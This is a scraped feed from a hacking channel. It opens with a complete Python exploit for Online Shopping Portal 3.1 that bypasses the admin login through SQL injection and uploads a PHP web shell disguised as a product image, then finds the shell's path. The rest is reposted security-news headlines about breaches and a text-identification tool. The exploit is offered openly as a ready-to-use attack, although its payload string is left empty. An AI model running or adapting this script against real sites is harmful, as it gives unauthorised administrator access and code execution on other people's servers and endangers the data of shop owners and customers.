Hacking Articles Tips Tricks Videos Tutorials

# Exploit Title: Online Shopping Portal 3.1 - Remote Code Execution (Unauthenticated)
# Date: 17.06.2021
# Exploit Author: Tagoletta (Tağmaç)
# Software Link: https://phpgurukul.com/shopping-portal-free-download/
# Version: V3.1
# Tested on: Windows & Ubuntu
import requests
import random
import string
url = "http://192.168.1.3:80/shopping"
payload= ""

session = requests.session()

print("logining")

request_url = url+"/admin/"
post_data = {"username": "' OR 1=1-- a", "password": '', "submit": ''}
session.post(request_url, data=post_data)

let = string.ascii_lowercase
shellname = ''.join(random.choice(let) for i in range(15))
randstr = ''.join(random.choice(let) for i in range(15))

print("product name is "+randstr)
print("shell name is "+shellname)
print("uploading payload")

request_url = url+"/admin/insert-product.php"
post_header = {"Cache-Control": "max-age=0", "Upgrade-Insecure-Requests": "1", "Content-Type": "multipart/form-data; boundary=----WebKitFormBoundaryJNYN304wDTnp1QmE", "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9", "Referer": url+"/admin/insert-product.php", "Accept-Encoding": "gzip, deflate", "Connection": "close"}
post_data = "------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"category\"\r\n\r\n80\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"subcategory\"\r\n\r\n8080\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productName\"\r\n\r\n"+randstr+"\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productCompany\"\r\n\r\nTagoletta\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productpricebd\"\r\n\r\nTagoletta\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productprice\"\r\n\r\nTagoletta\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productDescription\"\r\n\r\nTagoletta\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productShippingcharge\"\r\n\r\nTagoletta\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productAvailability\"\r\n\r\nIn Stock\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productimage1\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productimage2\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"productimage3\"; filename=\""+shellname+".php\"\r\nContent-Type: application/octet-stream\r\n\r\n"+payload+"\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE\r\nContent-Disposition: form-data; name=\"submit\"\r\n\r\n\r\n------WebKitFormBoundaryJNYN304wDTnp1QmE--\r\n"
session.post(request_url, headers=post_header, data=post_data)

request_url = url+"/search-result.php"
post_data = {"product": randstr, "search": ''}
shellpath = str(requests.post(request_url, data=post_data).content).split("data-echo=\"admin/productimages")[1].split(shellname+".php")[0]

print("\npath of shell= "+url+"/admin/productimages"+shellpath+shellname+".php")

[...]

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Online Shopping Portal 3.1 Shell Upload

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

7 viewsedited 22:53

Hacking Articles Tips Tricks Videos Tutorials

Exploit Collector
Trojan.Win32.Alien.erf Denial Of Service

___________________________
@hacking_Attack
@Hacking_Video

Kitploit

Trojan.Win32.Alien.erf Denial Of Service

Exploit Collector is the ultimate collection of public exploits and exploitable vulnerabilities. Remote/Local Exploits, Shellcode and 0days.

8 viewsedited 22:53

Hacking Articles Tips Tricks Videos Tutorials

8 views23:00

Hacking Articles Tips Tricks Videos Tutorials

Photo

Dark Reading: Attacks/Breaches
Carnival Cruise Line Reports Security Breach

The cruise ship operator says the incident affected employee and guest data.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

Carnival Cruise Line Reports Security Breach

The cruise ship operator says the incident affected employee and guest data.

7 viewsedited 23:01

Hacking Articles Tips Tricks Videos Tutorials

7 views23:01

Hacking Articles Tips Tricks Videos Tutorials

Photo

Dark Reading: Attacks/Breaches
One in Five Manufacturing Firms Targeted by Cyberattacks

Information-stealing malware makes up about a third of attacks, a study finds, but companies worry most about ransomware shutting down production.

___________________________
@hacking_Attack
@Hacking_Video

Dark Reading

One in Five Manufacturing Firms Targeted by Cyberattacks

Information-stealing malware makes up about a third of attacks, a study finds, but companies worry most about ransomware shutting down production.

8 viewsedited 23:01

Hacking Articles Tips Tricks Videos Tutorials

8 views23:01

Hacking Articles Tips Tricks Videos Tutorials

Photo

Dark Reading: Attacks/Breaches
Data Breaches Surge in Food & Beverage, Other Industries

Six previously "under-attacked" vertical industries saw a surge in data breaches last year due to COVID-19 related disruptions and other factors, new data shows.

___________________________
@hacking_Attack
@Hacking_Video

8 viewsedited 23:01

Hacking Articles Tips Tricks Videos Tutorials

8 views23:08

Hacking Articles Tips Tricks Videos Tutorials

Photo

Hacking on Medium
pyWhat — Identify Useful Information Within Files & Text

https://cdn-images-1.medium.com/max/743/0*fJRk1llbAixAIJrn.png
Continue reading on Medium »

___________________________
@hacking_Attack
@Hacking_Video

Medium

pyWhat — Identify Useful Information Within Files & Text

Well, with what all you have to do is ask what “5f4dcc3b5aa765d61d8327deb882cf99” and what will tell you! what’s job is to identify what something is. Whether it be a file or text! Or even the hex of…

8 viewsedited 23:08

Hacking Articles Tips Tricks Videos Tutorials

8 views23:08